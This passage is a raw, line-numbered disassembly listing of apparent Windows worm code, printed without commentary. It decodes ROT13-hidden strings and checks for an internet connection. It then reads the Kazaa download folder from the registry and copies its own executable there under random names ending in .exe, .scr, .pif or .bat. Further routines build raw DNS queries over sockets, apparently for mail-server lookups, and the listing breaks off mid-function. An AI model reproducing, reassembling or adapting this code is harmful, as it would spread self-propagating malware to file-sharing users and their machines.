  3064. sub_4A465E    proc near        ; CODE XREF: sub_4A3962+15p
  3065.                     ; sub_4A3AA3+17p ...
  3066.  
  3067. arg_0        = dword    ptr  8
  3068. arg_4        = dword    ptr  0Ch
  3069.  
  3070.         push    esi
  3071.         mov    esi, [esp+arg_4]
  3072.         push    edi
  3073.         mov    edi, [esp+4+arg_0]
  3074.  
  3075. loc_4A4668:                ; CODE XREF: sub_4A465E+1Bj
  3076.         mov    al, [esi]
  3077.         test    al, al
  3078.         jz    short loc_4A467B
  3079.         push    eax
  3080.         call    sub_4A45E3
  3081.         mov    [edi], al
  3082.         inc    edi
  3083.         pop    ecx
  3084.         inc    esi
  3085.         jmp    short loc_4A4668
  3086. ; ───────────────────────────────────────────────────────────────────────────
  3087.  
  3088. loc_4A467B:                ; CODE XREF: sub_4A465E+Ej
  3089.         and    byte ptr [edi],    0
  3090.         pop    edi
  3091.         pop    esi
  3092.         retn
  3093. sub_4A465E    endp
  3094.  
  3095.  
  3096. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3097.  
  3098. ; Attributes: bp-based frame
  3099.  
  3100. sub_4A4681    proc near        ; CODE XREF: .text:004A5BB9p
  3101.                     ; sub_4A6C3B+2Fp
  3102.  
  3103. ProcName    = byte ptr -44h
  3104. var_4        = byte ptr -4
  3105.  
  3106.         push    ebp
  3107.         mov    ebp, esp
  3108.         sub    esp, 44h
  3109.         push    esi
  3110.         lea    eax, [ebp+ProcName]
  3111.         push    offset aJvavarg_qyy ; "jvavarg.qyy"
  3112.         push    eax
  3113.         call    sub_4A465E
  3114.         pop    ecx
  3115.         lea    eax, [ebp+ProcName]
  3116.         pop    ecx
  3117.         push    eax        ; lpModuleName
  3118.         call    ds:GetModuleHandleA
  3119.         mov    esi, eax
  3120.         test    esi, esi
  3121.         jz    short loc_4A46AD
  3122.         cmp    esi, 0FFFFFFFFh
  3123.         jnz    short loc_4A46C2
  3124.  
  3125. loc_4A46AD:                ; CODE XREF: sub_4A4681+25j
  3126.         lea    eax, [ebp+ProcName]
  3127.         push    eax        ; lpLibFileName
  3128.         call    ds:LoadLibraryA
  3129.         mov    esi, eax
  3130.         test    esi, esi
  3131.         jz    short loc_4A46F1
  3132.         cmp    esi, 0FFFFFFFFh
  3133.         jz    short loc_4A46F1
  3134.  
  3135. loc_4A46C2:                ; CODE XREF: sub_4A4681+2Aj
  3136.         lea    eax, [ebp+ProcName]
  3137.         push    offset aVagreargtrgpba ; "VagreargTrgPbaarpgrqFgngr"
  3138.         push    eax
  3139.         call    sub_4A465E
  3140.         pop    ecx
  3141.         lea    eax, [ebp+ProcName]
  3142.         pop    ecx
  3143.         push    eax        ; lpProcName
  3144.         push    esi        ; hModule
  3145.         call    ds:GetProcAddress
  3146.         test    eax, eax
  3147.         jz    short loc_4A46F1
  3148.         lea    ecx, [ebp+var_4]
  3149.         push    0
  3150.         push    ecx
  3151.         call    eax
  3152.         neg    eax
  3153.         sbb    eax, eax
  3154.         neg    eax
  3155.         jmp    short loc_4A46F4
  3156. ; ───────────────────────────────────────────────────────────────────────────
  3157.  
  3158. loc_4A46F1:                ; CODE XREF: sub_4A4681+3Aj
  3159.                     ; sub_4A4681+3Fj ...
  3160.         push    2
  3161.         pop    eax
  3162.  
  3163. loc_4A46F4:                ; CODE XREF: sub_4A4681+6Ej
  3164.         pop    esi
  3165.         leave
  3166.         retn
  3167. sub_4A4681    endp
  3168.  
  3169.  
  3170. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3171.  
  3172. ; Attributes: bp-based frame
  3173.  
  3174. sub_4A46F7    proc near        ; CODE XREF: sub_4A48B6+24p
  3175.  
  3176. SubKey        = byte ptr -168h
  3177. ValueName    = byte ptr -128h
  3178. NewFileName    = byte ptr -108h
  3179. cbData        = dword    ptr -8
  3180. hKey        = dword    ptr -4
  3181. lpExistingFileName= dword ptr  8
  3182.  
  3183.         push    ebp
  3184.         mov    ebp, esp
  3185.         sub    esp, 168h
  3186.         push    ebx
  3187.         lea    eax, [ebp+SubKey]
  3188.         push    offset aFbsgjnerXnmnnG ; "Fbsgjner\\Xnmnn\\Genafsre"
  3189.         push    eax
  3190.         mov    [ebp+cbData], 100h
  3191.         call    sub_4A465E
  3192.         lea    eax, [ebp+ValueName]
  3193.         push    offset aQyqve0    ; "QyQve0"
  3194.         push    eax
  3195.         call    sub_4A465E
  3196.         push    [ebp+cbData]
  3197.         xor    ebx, ebx
  3198.         lea    eax, [ebp+NewFileName]
  3199.         push    ebx
  3200.         push    eax
  3201.         call    memset
  3202.         add    esp, 1Ch
  3203.         lea    eax, [ebp+hKey]
  3204.         push    eax        ; phkResult
  3205.         push    1        ; samDesired
  3206.         lea    eax, [ebp+SubKey]
  3207.         push    ebx        ; ulOptions
  3208.         push    eax        ; lpSubKey
  3209.         push    80000001h    ; hKey
  3210.         call    ds:RegOpenKeyExA
  3211.         test    eax, eax
  3212.         jnz    loc_4A48B3
  3213.         lea    eax, [ebp+cbData]
  3214.         push    eax        ; lpcbData
  3215.         lea    eax, [ebp+NewFileName]
  3216.         push    eax        ; lpData
  3217.         push    ebx        ; lpType
  3218.         lea    eax, [ebp+ValueName]
  3219.         push    ebx        ; lpReserved
  3220.         push    eax        ; lpValueName
  3221.         push    [ebp+hKey]    ; hKey
  3222.         call    ds:RegQueryValueExA
  3223.         test    eax, eax
  3224.         jnz    loc_4A48B3
  3225.         push    [ebp+hKey]
  3226.         call    ds:RegCloseKey
  3227.         cmp    [ebp+NewFileName], bl
  3228.         jz    loc_4A48B3
  3229.         push    esi
  3230.         mov    esi, ds:lstrlenA
  3231.         push    edi
  3232.         lea    eax, [ebp+NewFileName]
  3233.         lea    edi, [ebp+NewFileName]
  3234.         push    eax        ; lpString
  3235.         dec    edi
  3236.         call    esi ; lstrlenA
  3237.         cmp    byte ptr [eax+edi], 2Fh
  3238.         jnz    short loc_4A47C5
  3239.         lea    eax, [ebp+NewFileName]
  3240.         push    eax        ; lpString
  3241.         call    esi ; lstrlenA
  3242.         mov    byte ptr [eax+edi], 5Ch
  3243.  
  3244. loc_4A47C5:                ; CODE XREF: sub_4A46F7+BFj
  3245.         lea    eax, [ebp+NewFileName]
  3246.         push    eax        ; lpString
  3247.         call    esi ; lstrlenA
  3248.         cmp    byte ptr [eax+edi], 5Ch
  3249.         mov    edi, ds:lstrcatA
  3250.         jz    short loc_4A47E8
  3251.         lea    eax, [ebp+NewFileName]
  3252.         push    offset String2    ; lpString2
  3253.         push    eax        ; lpString1
  3254.         call    edi ; lstrcatA
  3255.  
  3256. loc_4A47E8:                ; CODE XREF: sub_4A46F7+E1j
  3257.         call    sub_4A4221
  3258.         movzx    eax, ax
  3259.         push    7
  3260.         cdq
  3261.         pop    ecx
  3262.         idiv    ecx
  3263.         lea    eax, [ebp+NewFileName]
  3264.         push    ds:dword_4A1190[edx*4]
  3265.         push    eax        ; lpString
  3266.         call    esi ; lstrlenA
  3267.         lea    eax, [ebp+eax+NewFileName]
  3268.         push    eax
  3269.         call    sub_4A465E
  3270.         pop    ecx
  3271.         lea    eax, [ebp+NewFileName]
  3272.         pop    ecx
  3273.         push    offset a__1    ; lpString2
  3274.         push    eax        ; lpString1
  3275.         call    edi ; lstrcatA
  3276.         call    sub_4A4221
  3277.         movzx    eax, ax
  3278.         push    6
  3279.         cdq
  3280.         pop    ecx
  3281.         idiv    ecx
  3282.         cmp    edx, ebx
  3283.         jl    short loc_4A4883
  3284.         cmp    edx, 1
  3285.         jle    short loc_4A486E
  3286.         cmp    edx, 3
  3287.         jle    short loc_4A4859
  3288.         cmp    edx, 4
  3289.         jnz    short loc_4A4883
  3290.         lea    eax, [ebp+NewFileName]
  3291.         push    offset aPi    ; lpString2
  3292.         push    eax        ; lpString1
  3293.         call    edi ; lstrcatA
  3294.         push    offset aF    ; "f"
  3295.         jmp    short loc_4A4896
  3296. ; ───────────────────────────────────────────────────────────────────────────
  3297.  
  3298. loc_4A4859:                ; CODE XREF: sub_4A46F7+146j
  3299.         lea    eax, [ebp+NewFileName]
  3300.         push    offset aSc    ; lpString2
  3301.         push    eax        ; lpString1
  3302.         call    edi ; lstrcatA
  3303.         push    offset aR    ; "r"
  3304.         jmp    short loc_4A4896
  3305. ; ───────────────────────────────────────────────────────────────────────────
  3306.  
  3307. loc_4A486E:                ; CODE XREF: sub_4A46F7+141j
  3308.         lea    eax, [ebp+NewFileName]
  3309.         push    offset aEx    ; lpString2
  3310.         push    eax        ; lpString1
  3311.         call    edi ; lstrcatA
  3312.         push    offset aE    ; "e"
  3313.         jmp    short loc_4A4896
  3314. ; ───────────────────────────────────────────────────────────────────────────
  3315.  
  3316. loc_4A4883:                ; CODE XREF: sub_4A46F7+13Cj
  3317.                     ; sub_4A46F7+14Bj
  3318.         lea    eax, [ebp+NewFileName]
  3319.         push    offset aBa    ; lpString2
  3320.         push    eax        ; lpString1
  3321.         call    edi ; lstrcatA
  3322.         push    offset aT    ; lpString2
  3323.  
  3324. loc_4A4896:                ; CODE XREF: sub_4A46F7+160j
  3325.                     ; sub_4A46F7+175j ...
  3326.         lea    eax, [ebp+NewFileName]
  3327.         push    eax        ; lpString1
  3328.         call    edi ; lstrcatA
  3329.         lea    eax, [ebp+NewFileName]
  3330.         push    1        ; bFailIfExists
  3331.         push    eax        ; lpNewFileName
  3332.         push    [ebp+lpExistingFileName] ; lpExistingFileName
  3333.         call    ds:CopyFileA
  3334.         pop    edi
  3335.         pop    esi
  3336.  
  3337. loc_4A48B3:                ; CODE XREF: sub_4A46F7+63j
  3338.                     ; sub_4A46F7+88j ...
  3339.         pop    ebx
  3340.         leave
  3341.         retn
  3342. sub_4A46F7    endp
  3343.  
  3344.  
  3345. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3346.  
  3347. ; Attributes: bp-based frame
  3348.  
  3349. sub_4A48B6    proc near        ; CODE XREF: main+6Bp
  3350.  
  3351. Filename    = byte ptr -104h
  3352.  
  3353.         push    ebp
  3354.         mov    ebp, esp
  3355.         sub    esp, 104h
  3356.         lea    eax, [ebp+Filename]
  3357.         push    104h        ; nSize
  3358.         push    eax        ; lpFilename
  3359.         push    0        ; hModule
  3360.         call    ds:GetModuleFileNameA
  3361.         lea    eax, [ebp+Filename]
  3362.         push    eax
  3363.         call    sub_4A46F7
  3364.         pop    ecx
  3365.         leave
  3366.         retn
  3367. sub_4A48B6    endp
  3368.  
  3369.  
  3370. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3371.  
  3372. ; Attributes: bp-based frame
  3373.  
  3374. sub_4A48E2    proc near        ; CODE XREF: sub_4A4C45+8Fp
  3375.  
  3376. var_400        = word ptr -400h
  3377. var_3FE        = word ptr -3FEh
  3378. var_3FC        = word ptr -3FCh
  3379. var_3FA        = word ptr -3FAh
  3380. var_3F8        = word ptr -3F8h
  3381. var_3F6        = word ptr -3F6h
  3382. var_3F4        = byte ptr -3F4h
  3383. arg_0        = dword    ptr  8
  3384. arg_4        = dword    ptr  0Ch
  3385. arg_8        = dword    ptr  10h
  3386. arg_C        = word ptr  14h
  3387.  
  3388.         push    ebp
  3389.         mov    ebp, esp
  3390.         sub    esp, 400h
  3391.         push    ebx
  3392.         push    esi
  3393.         push    edi
  3394.         mov    edi, [ebp+arg_8]
  3395.         xor    ebx, ebx
  3396.         push    400h
  3397.         lea    eax, [ebp+var_400]
  3398.         push    ebx
  3399.         push    eax
  3400.         call    memset
  3401.         add    esp, 0Ch
  3402.         call    ds:GetTickCount
  3403.         mov    [ebp+var_400], ax
  3404.         mov    ax, [ebp+arg_C]
  3405.         push    1
  3406.         mov    [ebp+var_3FE], ax
  3407.         call    ds:WS2_32_9
  3408.         xor    edx, edx
  3409.         mov    [ebp+var_3FC], ax
  3410.         cmp    [edi], dl
  3411.         mov    [ebp+var_3FA], bx
  3412.         mov    [ebp+var_3F8], bx
  3413.         mov    [ebp+var_3F6], bx
  3414.         jz    short loc_4A49A0
  3415.  
  3416. loc_4A494A:                ; CODE XREF: sub_4A48E2+BAj
  3417.         lea    esi, [ebx+edi]
  3418.         mov    eax, ebx
  3419.         mov    cl, [esi]
  3420.         jmp    short loc_4A495C
  3421. ; ───────────────────────────────────────────────────────────────────────────
  3422.  
  3423. loc_4A4953:                ; CODE XREF: sub_4A48E2+7Cj
  3424.         cmp    cl, 2Eh
  3425.         jz    short loc_4A4960
  3426.         inc    eax
  3427.         mov    cl, [eax+edi]
  3428.  
  3429. loc_4A495C:                ; CODE XREF: sub_4A48E2+6Fj
  3430.         test    cl, cl
  3431.         jnz    short loc_4A4953
  3432.  
  3433. loc_4A4960:                ; CODE XREF: sub_4A48E2+74j
  3434.         mov    cl, al
  3435.         sub    cl, bl
  3436.         mov    [ebp+edx+var_3F4], cl
  3437.         inc    edx
  3438.         cmp    ebx, eax
  3439.         jge    short loc_4A498E
  3440.         sub    eax, ebx
  3441.         lea    edi, [ebp+edx+var_3F4]
  3442.         mov    ecx, eax
  3443.         add    ebx, eax
  3444.         mov    dword ptr [ebp+arg_C], ecx
  3445.         shr    ecx, 2
  3446.         repe movsd
  3447.         mov    ecx, eax
  3448.         and    ecx, 3
  3449.         add    edx, eax
  3450.         repe movsb
  3451.  
  3452. loc_4A498E:                ; CODE XREF: sub_4A48E2+8Cj
  3453.         mov    edi, [ebp+arg_8]
  3454.         cmp    byte ptr [ebx+edi], 2Eh
  3455.         jnz    short loc_4A4998
  3456.         inc    ebx
  3457.  
  3458. loc_4A4998:                ; CODE XREF: sub_4A48E2+B3j
  3459.         cmp    byte ptr [ebx+edi], 0
  3460.         jnz    short loc_4A494A
  3461.         xor    ebx, ebx
  3462.  
  3463. loc_4A49A0:                ; CODE XREF: sub_4A48E2+66j
  3464.         mov    edi, ds:WS2_32_9
  3465.         and    [ebp+edx+var_3F4], 0
  3466.         push    0Fh
  3467.         lea    esi, [edx+0Dh]
  3468.         call    edi ; WS2_32_9
  3469.         mov    [ebp+esi+var_400], ax
  3470.         inc    esi
  3471.         push    1
  3472.         inc    esi
  3473.         call    edi ; WS2_32_9
  3474.         push    10h
  3475.         mov    [ebp+esi+var_400], ax
  3476.         push    [ebp+arg_4]
  3477.         add    esi, 2
  3478.         lea    eax, [ebp+var_400]
  3479.         push    ebx
  3480.         push    esi
  3481.         push    eax
  3482.         push    [ebp+arg_0]
  3483.         call    ds:WS2_32_20
  3484.         xor    ecx, ecx
  3485.         pop    edi
  3486.         test    eax, eax
  3487.         setle    cl
  3488.         pop    esi
  3489.         mov    eax, ecx
  3490.         pop    ebx
  3491.         leave
  3492.         retn
  3493. sub_4A48E2    endp
  3494.  
  3495.  
  3496. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3497.  
  3498. ; Attributes: bp-based frame
  3499.  
  3500. sub_4A49F3    proc near        ; CODE XREF: sub_4A4AFE+2Cp
  3501.  
  3502. var_4        = dword    ptr -4
  3503. arg_0        = dword    ptr  8
  3504. arg_4        = dword    ptr  0Ch
  3505.  
  3506.         push    ebp
  3507.         mov    ebp, esp
  3508.         push    ecx
  3509.         and    [ebp+var_4], 0
  3510.         push    esi
  3511.         mov    esi, eax
  3512.         mov    ax, [ebx+4]
  3513.         push    edi
  3514.         mov    edi, ds:WS2_32_15
  3515.         push    eax
  3516.         call    edi ; WS2_32_15
  3517.         test    ax, ax
  3518.         jbe    short loc_4A4A46
  3519.  
  3520. loc_4A4A11:                ; CODE XREF: sub_4A49F3+51j
  3521.         cmp    esi, [ebp+arg_4]
  3522.         jge    short loc_4A4A46
  3523.         mov    eax, [ebp+arg_0]
  3524.         movzx    eax, byte ptr [eax+esi]
  3525.         test    eax, eax
  3526.         jnz    short loc_4A4A26
  3527.         add    esi, 5
  3528.         jmp    short loc_4A4A34
  3529. ; ───────────────────────────────────────────────────────────────────────────
  3530.  
  3531. loc_4A4A26:                ; CODE XREF: sub_4A49F3+2Cj
  3532.         cmp    eax, 40h
  3533.         jge    short loc_4A4A31
  3534.         lea    esi, [esi+eax+1]
  3535.         jmp    short loc_4A4A37
  3536. ; ───────────────────────────────────────────────────────────────────────────
  3537.  
  3538. loc_4A4A31:                ; CODE XREF: sub_4A49F3+36j
  3539.         add    esi, 6
  3540.  
  3541. loc_4A4A34:                ; CODE XREF: sub_4A49F3+31j
  3542.         inc    [ebp+var_4]
  3543.  
  3544. loc_4A4A37:                ; CODE XREF: sub_4A49F3+3Cj
  3545.         mov    ax, [ebx+4]
  3546.         push    eax
  3547.         call    edi ; WS2_32_15
  3548.         movzx    eax, ax
  3549.         cmp    [ebp+var_4], eax
  3550.         jl    short loc_4A4A11
  3551.  
  3552. loc_4A4A46:                ; CODE XREF: sub_4A49F3+1Cj
  3553.                     ; sub_4A49F3+21j
  3554.         mov    eax, esi
  3555.         pop    edi
  3556.         pop    esi
  3557.         leave
  3558.         retn
  3559. sub_4A49F3    endp
  3560.  
  3561.  
  3562. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3563.  
  3564. ; Attributes: bp-based frame
  3565.  
  3566. sub_4A4A4C    proc near        ; CODE XREF: sub_4A4AFE+8Dp
  3567.                     ; sub_4A4C45+1D9p
  3568.  
  3569. var_8        = dword    ptr -8
  3570. var_4        = dword    ptr -4
  3571. arg_0        = dword    ptr  8
  3572.  
  3573.         push    ebp
  3574.         mov    ebp, esp
  3575.         push    ecx
  3576.         push    ecx
  3577.         and    [ebp+var_8], 0
  3578.         and    byte ptr [edi],    0
  3579.         and    [ebp+var_4], 0
  3580.         push    esi
  3581.         xor    esi, esi
  3582.         cmp    eax, [ebp+arg_0]
  3583.         jge    short loc_4A4ACF
  3584.  
  3585. loc_4A4A64:                ; CODE XREF: sub_4A4A4C+70j
  3586.         cmp    esi, 0FFh
  3587.         jge    short loc_4A4ACB
  3588.         lea    ecx, [ebx+eax]
  3589.         movzx    edx, byte ptr [ecx]
  3590.         test    edx, edx
  3591.         jz    short loc_4A4AC0
  3592.         cmp    edx, 40h
  3593.         jge    short loc_4A4A92
  3594.         inc    eax
  3595.         test    edx, edx
  3596.         jle    short loc_4A4A8B
  3597.  
  3598. loc_4A4A80:                ; CODE XREF: sub_4A4A4C+3Dj
  3599.         mov    cl, [ebx+eax]
  3600.         mov    [esi+edi], cl
  3601.         inc    esi
  3602.         inc    eax
  3603.         dec    edx
  3604.         jnz    short loc_4A4A80
  3605.  
  3606. loc_4A4A8B:                ; CODE XREF: sub_4A4A4C+32j
  3607.         mov    byte ptr [esi+edi], 2Eh
  3608.         inc    esi
  3609.         jmp    short loc_4A4AB9
  3610. ; ───────────────────────────────────────────────────────────────────────────
  3611.  
  3612. loc_4A4A92:                ; CODE XREF: sub_4A4A4C+2Dj
  3613.         cmp    [ebp+var_4], 0
  3614.         jnz    short loc_4A4A9E
  3615.         add    eax, 2
  3616.         mov    [ebp+var_8], eax
  3617.  
  3618. loc_4A4A9E:                ; CODE XREF: sub_4A4A4C+4Aj
  3619.         mov    ax, [ecx]
  3620.         mov    [ebp+var_4], 1
  3621.         push    eax
  3622.         call    ds:WS2_32_15
  3623.         and    eax, 3FFFh
  3624.         cmp    eax, [ebp+arg_0]
  3625.         jge    short loc_4A4ACB
  3626.  
  3627. loc_4A4AB9:                ; CODE XREF: sub_4A4A4C+44j
  3628.         cmp    eax, [ebp+arg_0]
  3629.         jl    short loc_4A4A64
  3630.         jmp    short loc_4A4ACB
  3631. ; ───────────────────────────────────────────────────────────────────────────
  3632.  
  3633. loc_4A4AC0:                ; CODE XREF: sub_4A4A4C+28j
  3634.         inc    eax
  3635.         jmp    short loc_4A4ACB
  3636. ; ───────────────────────────────────────────────────────────────────────────
  3637.  
  3638. loc_4A4AC3:                ; CODE XREF: sub_4A4A4C+81j
  3639.         cmp    byte ptr [edi+esi-1], 2Eh
  3640.         jnz    short loc_4A4ACF
  3641.         dec    esi
  3642.  
  3643. loc_4A4ACB:                ; CODE XREF: sub_4A4A4C+1Ej
  3644.                     ; sub_4A4A4C+6Bj ...
  3645.         test    esi, esi
  3646.         jg    short loc_4A4AC3
  3647.  
  3648. loc_4A4ACF:                ; CODE XREF: sub_4A4A4C+16j
  3649.                     ; sub_4A4A4C+7Cj
  3650.         and    byte ptr [esi+edi], 0
  3651.         cmp    [ebp+var_4], 0
  3652.         pop    esi
  3653.         jz    short locret_4A4ADD
  3654.         mov    eax, [ebp+var_8]
  3655.  
  3656. locret_4A4ADD:                ; CODE XREF: sub_4A4A4C+8Cj
  3657.         leave
  3658.         retn
  3659. sub_4A4A4C    endp
  3660.  
  3661.  
  3662. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3663.  
  3664.  
  3665. ; int __fastcall sub_4A4ADF(LPVOID lpMem)
  3666. sub_4A4ADF    proc near        ; CODE XREF: sub_4A4C45+221p
  3667.         test    eax, eax
  3668.         jz    short locret_4A4AFD
  3669.         push    esi
  3670.  
  3671. loc_4A4AE4:                ; CODE XREF: sub_4A4ADF+1Bj
  3672.         mov    esi, [eax]
  3673.         push    eax        ; lpMem
  3674.         push    0        ; dwFlags
  3675.         call    ds:GetProcessHeap
  3676.         push    eax        ; hHeap
  3677.         call    ds:HeapFree
  3678.         test    esi, esi
  3679.         mov    eax, esi
  3680.         jnz    short loc_4A4AE4
  3681.         pop    esi
  3682.  
  3683. locret_4A4AFD:                ; CODE XREF: sub_4A4ADF+2j
  3684.         retn
  3685. sub_4A4ADF    endp
  3686.  
  3687.  
  3688. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3689.  
  3690. ; Attributes: bp-based frame
  3691.  
  3692. sub_4A4AFE    proc near        ; CODE XREF: sub_4A4C45+13Bp
  3693.  
  3694. var_128        = byte ptr -128h
  3695. var_124        = byte ptr -124h
  3696. var_20        = word ptr -20h
  3697. var_1E        = word ptr -1Eh
  3698. var_1C        = word ptr -1Ch
  3699. var_18        = dword    ptr -18h
  3700. var_14        = dword    ptr -14h
  3701. var_10        = dword    ptr -10h
  3702. var_C        = dword    ptr -0Ch
  3703. var_8        = dword    ptr -8
  3704. var_4        = dword    ptr -4
  3705. arg_0        = dword    ptr  8
  3706. arg_4        = dword    ptr  0Ch
  3707.  
  3708.         push    ebp
  3709.         mov    ebp, esp
  3710.         sub    esp, 128h
  3711.         push    edi
  3712.         push    0Ch
  3713.         pop    eax
  3714.         xor    edi, edi
  3715.         cmp    [ebp+arg_4], eax
  3716.         mov    [ebp+var_4], edi
  3717.         mov    [ebp+var_C], edi
  3718.         jge    short loc_4A4B1F
  3719.         xor    eax, eax
  3720.         jmp    loc_4A4C42
  3721. ; ───────────────────────────────────────────────────────────────────────────
  3722.  
  3723. loc_4A4B1F:                ; CODE XREF: sub_4A4AFE+18j
  3724.         push    ebx
  3725.         push    esi
  3726.         push    [ebp+arg_4]
  3727.         mov    esi, [ebp+arg_0]
  3728.         mov    ebx, esi
  3729.         push    esi
  3730.         call    sub_4A49F3
  3731.         mov    ebx, eax
  3732.         pop    ecx
  3733.         cmp    ebx, [ebp+arg_4]
  3734.         pop    ecx
  3735.         jl    short loc_4A4B3F
  3736.         xor    eax, eax
  3737.         jmp    loc_4A4C40
  3738. ; ───────────────────────────────────────────────────────────────────────────
  3739.  
  3740. loc_4A4B3F:                ; CODE XREF: sub_4A4AFE+38j
  3741.         movzx    eax, word ptr [esi+0Ah]
  3742.         movzx    ecx, word ptr [esi+8]
  3743.         add    eax, ecx
  3744.         mov    [ebp+var_8], edi
  3745.         movzx    ecx, word ptr [esi+6]
  3746.         add    eax, ecx
  3747.         cmp    eax, edi
  3748.         mov    [ebp+var_10], eax
  3749.         jle    loc_4A4C3D
  3750.         jmp    short loc_4A4B62
  3751. ; ───────────────────────────────────────────────────────────────────────────
  3752.  
  3753. loc_4A4B5F:                ; CODE XREF: sub_4A4AFE+139j
  3754.         mov    esi, [ebp+arg_0]
  3755.  
  3756. loc_4A4B62:                ; CODE XREF: sub_4A4AFE+5Fj
  3757.         cmp    ebx, [ebp+arg_4]
  3758.         jge    loc_4A4C3D
  3759.         push    114h
  3760.         lea    eax, [ebp+var_128]
  3761.         push    0
  3762.         push    eax
  3763.         call    memset
  3764.         push    [ebp+arg_4]
  3765.         mov    eax, ebx
  3766.         lea    edi, [ebp+var_124]
  3767.         mov    ebx, esi
  3768.         call    sub_4A4A4C
  3769.         mov    ebx, eax
  3770.         add    esp, 10h
  3771.         lea    eax, [ebx+0Ah]
  3772.         cmp    eax, [ebp+arg_4]
  3773.         jge    loc_4A4C3D
  3774.         mov    ax, [ebx+esi]
  3775.         mov    edi, ds:WS2_32_15
  3776.         push    eax
  3777.         call    edi ; WS2_32_15
  3778.         inc    ebx
  3779.         mov    [ebp+var_20], ax
  3780.         inc    ebx
  3781.         mov    ax, [ebx+esi]
  3782.         push    eax
  3783.         call    edi ; WS2_32_15
  3784.         add    ebx, 6
  3785.         mov    [ebp+var_1E], ax
  3786.         mov    ax, [ebx+esi]
  3787.         push    eax
  3788.         call    edi ; WS2_32_15
  3789.         mov    [ebp+var_1C], ax
  3790.         inc    ebx
  3791.         movzx    eax, ax
  3792.         inc    ebx
  3793.         add    eax, ebx
  3794.         mov    [ebp+var_18], ebx
  3795.         cmp    eax, [ebp+arg_4]
  3796.         jg    short loc_4A4C3D
  3797.         mov    esi, 124h
  3798.         push    esi        ; dwBytes
  3799.         push    0        ; dwFlags
  3800.         call    ds:GetProcessHeap
  3801.         push    eax        ; hHeap
  3802.         call    ds:HeapAlloc
  3803.         mov    edi, eax
  3804.         test    edi, edi
  3805.         mov    [ebp+var_14], edi
  3806.         jz    short loc_4A4C3D
  3807.         push    esi
  3808.         push    0
  3809.         push    edi
  3810.         call    memset
  3811.         add    esp, 0Ch
  3812.         lea    esi, [ebp+var_128]
  3813.         push    45h
  3814.         pop    ecx
  3815.         repe movsd
  3816.         movzx    eax, [ebp+var_1C]
  3817.         mov    ecx, [ebp+var_4]
  3818.         add    ebx, eax
  3819.         mov    eax, [ebp+var_14]
  3820.         mov    [ebp+var_4], eax
  3821.         and    dword ptr [eax], 0
  3822.         test    ecx, ecx
  3823.         jnz    short loc_4A4C2C
  3824.         mov    [ebp+var_C], eax
  3825.         jmp    short loc_4A4C2E
  3826. ; ───────────────────────────────────────────────────────────────────────────
  3827.  
  3828. loc_4A4C2C:                ; CODE XREF: sub_4A4AFE+127j
  3829.         mov    [ecx], eax
  3830.  
  3831. loc_4A4C2E:                ; CODE XREF: sub_4A4AFE+12Cj
  3832.         inc    [ebp+var_8]
  3833.         mov    eax, [ebp+var_8]
  3834.         cmp    eax, [ebp+var_10]
  3835.         jl    loc_4A4B5F
  3836.  
  3837. loc_4A4C3D:                ; CODE XREF: sub_4A4AFE+59j
  3838.                     ; sub_4A4AFE+67j ...
  3839.         mov    eax, [ebp+var_C]
  3840.  
  3841. loc_4A4C40:                ; CODE XREF: sub_4A4AFE+3Cj
  3842.         pop    esi
  3843.         pop    ebx
  3844.  
  3845. loc_4A4C42:                ; CODE XREF: sub_4A4AFE+1Cj
  3846.         pop    edi
  3847.         leave
  3848.         retn
  3849. sub_4A4AFE    endp
  3850.  
  3851.  
  3852. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3853.  
  3854.  
  3855. sub_4A4C45    proc near        ; CODE XREF: sub_4A4EC8+11p
  3856.  
  3857. var_168        = dword    ptr -168h
  3858. var_164        = dword    ptr -164h
  3859. var_160        = dword    ptr -160h
  3860. var_15C        = dword    ptr -15Ch
  3861. lpMem        = dword    ptr -158h
  3862. var_154        = dword    ptr -154h
  3863. var_150        = dword    ptr -150h
  3864. var_14C        = dword    ptr -14Ch
  3865. var_144        = dword    ptr -144h
  3866. var_130        = dword    ptr -130h
  3867. var_12C        = dword    ptr -12Ch
  3868. var_120        = dword    ptr -120h
  3869. var_11C        = dword    ptr -11Ch
  3870. var_118        = dword    ptr -118h
  3871. Mem        = dword    ptr -114h
  3872. var_110        = dword    ptr -110h
  3873. var_2C        = dword    ptr -2Ch
  3874. var_C        = dword    ptr -0Ch
  3875. var_8        = dword    ptr -8
  3876. arg_8        = dword    ptr  0Ch
  3877.  
  3878.         mov    eax, [esp+arg_8] ; lpMem
  3879.         sub    esp, 128h
  3880.         push    ebx
  3881.         push    ebp
  3882.         push    esi
  3883.         mov    esi, ds:GetProcessHeap
  3884.         xor    ebp, ebp
  3885.         push    1000h        ; dwBytes
  3886.         push    ebp        ; dwFlags
  3887.         mov    dword ptr [eax], 1
  3888.         call    esi ; GetProcessHeap
  3889.         push    eax        ; hHeap
  3890.         call    ds:HeapAlloc
  3891.         mov    ebx, eax
  3892.         cmp    ebx, ebp
  3893.         jnz    short loc_4A4C7C
  3894.         xor    eax, eax    ; lpMem
  3895.         jmp    loc_4A4EBE
  3896. ; ───────────────────────────────────────────────────────────────────────────
  3897.  
  3898. loc_4A4C7C:                ; CODE XREF: sub_4A4C45+2Ej
  3899.         push    edi
  3900.         push    11h
  3901.         push    2
  3902.         push    2
  3903.         call    ds:WS2_32_23
  3904.         mov    edi, eax
  3905.         cmp    edi, ebp
  3906.         mov    [esp+144h+var_120], edi
  3907.         jz    loc_4A4EB0
  3908.         cmp    edi, 0FFFFFFFFh
  3909.         jz    loc_4A4EB0
  3910.         mov    [esp+144h+var_130], ebp
  3911.         jmp    short loc_4A4CAC
  3912. ; ───────────────────────────────────────────────────────────────────────────
  3913.  
  3914. loc_4A4CA6:                ; CODE XREF: sub_4A4C45+236j
  3915.         mov    edi, [esp+144h+var_120]
  3916.         xor    ebp, ebp
  3917.  
  3918. loc_4A4CAC:                ; CODE XREF: sub_4A4C45+5Fj
  3919.         cmp    [esp+144h+var_130], ebp
  3920.         mov    [esp+144h+var_12C], ebp
  3921.         jnz    short loc_4A4CBD
  3922.         push    100h
  3923.         jmp    short loc_4A4CBE
